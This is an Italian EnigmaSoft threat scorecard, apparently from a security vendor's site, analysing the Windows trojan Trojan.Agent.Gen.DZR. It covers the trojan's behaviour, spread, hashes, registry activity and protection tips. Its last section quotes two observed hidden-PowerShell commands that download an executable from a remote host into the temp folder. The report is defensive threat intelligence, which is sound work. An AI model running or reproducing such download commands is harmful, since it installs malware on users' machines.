Trojan.Agent.Gen.DZR
Cartoncino segnapunti di minaccia
Scheda di valutazione delle minacce di EnigmaSoft
Le EnigmaSoft Threat Scorecard sono rapporti di valutazione per diverse minacce malware che sono state raccolte e analizzate dal nostro team di ricerca. Le EnigmaSoft Threat Scorecard valutano e classificano le minacce utilizzando diverse metriche tra cui fattori di rischio reali e potenziali, tendenze, frequenza, prevalenza e persistenza. Le EnigmaSoft Threat Scorecard vengono aggiornate regolarmente in base ai dati e alle metriche della nostra ricerca e sono utili per un'ampia gamma di utenti di computer, dagli utenti finali che cercano soluzioni per rimuovere il malware dai loro sistemi agli esperti di sicurezza che analizzano le minacce.
Le schede di valutazione delle minacce di EnigmaSoft mostrano una serie di informazioni utili, tra cui:
Classifica di popolarità: la posizione di una particolare minaccia nel database delle minacce di EnigmaSoft.
Livello di gravità: il livello di gravità determinato di un oggetto, rappresentato numericamente, in base al nostro processo di modellazione del rischio e alla nostra ricerca, come spiegato nei nostri criteri di valutazione delle minacce .
Computer infetti: il numero di casi confermati e sospetti di una particolare minaccia rilevati su computer infetti come riportato da SpyHunter.
Vedere anche Criteri di valutazione delle minacce .
| Classifica di popolarità: | 19,710 |
| Livello di minaccia: | 80 % (Alto) |
| Visto per la prima volta: | July 18, 2026 |
| Ultima visualizzazione: | September 1, 2026 |
| Sistemi operativi interessati: | Windows |
Trojan.Agent.Gen.DZR è un pericoloso cavallo di Troia che prende di mira i computer Windows. Classificato con un livello di pericolosità elevato, questa minaccia è progettata per infiltrarsi silenziosamente nei sistemi, eseguire codice dannoso in background e aprire la strada a ulteriori compromissioni. È stato osservato attivo negli ultimi mesi e il suo comportamento è coerente con quello di altri Trojan generici comunemente utilizzati per distribuire ulteriori payload dannosi alle macchine infette.
Sommario
Cosa fa Trojan.Agent.Gen.DZR
Una volta attivo su un sistema, Trojan.Agent.Gen.DZR viene eseguito silenziosamente in background senza finestre visibili o segni evidenti, rendendo difficile per un utente medio accorgersene. L'analisi del suo comportamento mostra che si basa in gran parte su comandi PowerShell nascosti, eseguiti tramite la riga di comando di Windows, per scaricare silenziosamente file aggiuntivi da server remoti sul computer infetto. Questi file scaricati vengono in genere salvati in cartelle temporanee e possono essere utilizzati per installare ulteriori componenti dannosi.
Il Trojan comunica anche con server remoti tramite la rete, utilizzando le funzioni standard di connessione Internet per inviare e ricevere dati, il che suggerisce che possa trasmettere informazioni agli aggressori o scaricare nuove istruzioni e payload. Raccoglie informazioni di base sul computer, come nome utente, nome del computer e configurazione di rete, che possono aiutare gli aggressori a personalizzare ulteriori attacchi o a confermare l'avvenuta infezione. Il malware include anche tecniche comunemente utilizzate per eludere il rilevamento e l'analisi, come la verifica della presenza di strumenti di debug e la manipolazione della memoria di processo. Questa combinazione di furtività, comunicazione remota e capacità di scaricare ed eseguire altro malware lo rende una seria minaccia, in quanto potrebbe consentire agli hacker di ottenere un controllo esteso sul sistema compromesso.
Come solitamente si installa sui computer
Il Trojan.Agent.Gen.DZR si diffonde in genere tramite metodi ingannevoli piuttosto che sfruttando una singola vulnerabilità specifica. I percorsi di infezione più comuni per questo tipo di minaccia includono software scaricato da siti web inaffidabili o dannosi, programmi di installazione inclusi in bundle e allegati e-mail camuffati da file innocui come eseguibili, immagini o video. In alcuni casi, i Trojan di questo tipo sfruttano vulnerabilità di sistema non corrette per installarsi all'insaputa e senza il consenso dell'utente. Poiché il processo di installazione è progettato per essere silenzioso, le vittime spesso non si accorgono di nulla sul proprio computer.
Rischi per l’utente
Una volta installato, Trojan.Agent.Gen.DZR può esporre l'utente a seri rischi. La sua capacità di scaricare ed eseguire silenziosamente file aggiuntivi significa che può fungere da porta d'accesso per altri malware, tra cui spyware, ransomware o strumenti di accesso remoto. Le capacità di raccolta di informazioni sollevano preoccupazioni in materia di privacy, mentre le funzionalità di comunicazione di rete suggeriscono che gli aggressori potrebbero impartire comandi da remoto o esfiltrare dati. Nel complesso, un computer infetto non può più essere considerato affidabile o sicuro.
Segni di infezione
Poiché questo Trojan è progettato per operare in modo furtivo, i sintomi visibili sono spesso minimi. Gli utenti potrebbero notare attività di rete insolite, processi anomali o finestre di PowerShell che lampeggiano brevemente sullo schermo, prestazioni di sistema lente o file sconosciuti che compaiono nelle cartelle temporanee. Gli avvisi del software di sicurezza che segnalano attività sospette sono spesso l'indicatore più affidabile di un'infezione.
Come rimanere protetti
Per ridurre il rischio di infezione, gli utenti dovrebbero evitare di aprire allegati e-mail provenienti da mittenti sconosciuti o non verificati, soprattutto file eseguibili camuffati da documenti o immagini. Mantenere aggiornati il sistema operativo Windows e i software installati contribuisce a colmare le lacune di sicurezza che i Trojan spesso sfruttano. Scaricare software solo da fonti ufficiali e affidabili, evitare contenuti pirata e effettuare backup regolari dei dati importanti sono altre valide abitudini difensive. Utilizzare un software di sicurezza affidabile e aggiornato e prestare attenzione a richieste o download inaspettati può contribuire notevolmente a proteggere i sistemi da minacce come Trojan.Agent.Gen.DZR.
Rapporto di analisi
Informazione Generale
| Cognome: | Trojan.Agent.Gen.DZR |
|---|---|
| Stato della firma: | No Signature |
Campioni noti
Campioni noti
Questa sezione elenca altri campioni di file che si ritiene siano associati a questa famiglia.|
MD5:
446f7c40546602daea4c68d1747fda95
SHA1:
df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256:
D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
Dimensione del file:
408.06 KB.408064 byte
|
Attributi di Windows Portable Executable
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Caratteristiche dei file
- GetConsoleWindow
- No Version Info
- x64
Informazioni sul blocco
Informazioni sul blocco
Durante l'analisi, EnigmaSoft suddivide i campioni di file in blocchi logici per la classificazione e il confronto con altri campioni. I blocchi possono essere utilizzati per generare regole di rilevamento del malware e per raggruppare i campioni di file in famiglie in base al codice sorgente condiviso, alla funzionalità e ad altri attributi e caratteristiche distintive. Questa sezione elenca un riepilogo dei dati dei blocchi, nonché la loro classificazione da parte di EnigmaSoft. Viene inoltre visualizzata una rappresentazione grafica dei dati dei blocchi, ove disponibile.| Blocchi totali: | 1,065 |
|---|---|
| Blocchi potenzialmente dannosi: | 186 |
| Blocchi consentiti: | 826 |
| Blocchi sconosciuti: | 53 |
Mappa visiva
? - Blocco sconosciuto
x - Blocco potenzialmente dannoso
Famiglie simili
Famiglie simili
Questa sezione elenca altre famiglie che presentano similitudini con questa famiglia, sulla base dell'analisi di EnigmaSoft. Molte famiglie di malware sono create a partire dagli stessi toolkit e utilizzano le stesse tecniche di compressione e crittografia, ma ne estendono le funzionalità in modo univoco. Famiglie simili possono anche condividere codice sorgente, attributi, icone, sottocomponenti, firme digitali compromesse e/o non valide e caratteristiche di rete. I ricercatori sfruttano queste somiglianze per analizzare rapidamente ed efficacemente i campioni di file ed estendere le regole di rilevamento del malware.- Gamehack.ACC
- Trojan.Agent.Gen.DNW
- Trojan.Agent.Gen.DZR
File modificati
File modificati
Questa sezione elenca i file creati, modificati, spostati e/o eliminati dai campioni di questa famiglia. L'attività del file system può fornire preziose informazioni sul funzionamento del malware sul sistema operativo.| File | Attributi |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 | Generic Write,Read Attributes |
Modifiche al registro
Modifiche al registro
Questa sezione elenca le chiavi e i valori del registro di sistema creati, modificati e/o eliminati dai campioni di questa famiglia. L'attività del Registro di sistema di Windows può fornire preziose informazioni sulla funzionalità del malware. Inoltre, il malware spesso crea valori nel registro di sistema per potersi avviare automaticamente e persistere indefinitamente dopo che un'infezione iniziale ha compromesso il sistema.| Chiave::Valore | Dati | Nome API |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 畧Ｄ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ﶱｌ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 必ｏ㪂ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Show 7 more
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Utilizzo delle API di Windows
Utilizzo delle API di Windows
Questa sezione elenca le chiamate API di Windows utilizzate dagli esempi di questa famiglia. L'analisi dell'utilizzo delle API di Windows è uno strumento prezioso che può aiutare a identificare attività dannose, come keylogging, escalation dei privilegi di sicurezza, crittografia dei dati, esfiltrazione di dati, interferenza con software antivirus e manipolazione delle richieste di rete.| Categoria | API |
|---|---|
| Syscall Use |
Show 90 more
Altri 31 articoli non sono visualizzati qui sopra. |
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Network Info Queried |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
Esecuzione di comandi shell
Esecuzione di comandi shell
Questa sezione elenca i comandi della shell di Windows eseguiti dai campioni di questa famiglia. I comandi della shell di Windows vengono spesso sfruttati dai malware per scopi illeciti e possono essere utilizzati per elevare i privilegi di sicurezza, scaricare e avviare altri malware, sfruttare le vulnerabilità, raccogliere ed esfiltrare dati e nascondere attività dannose.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|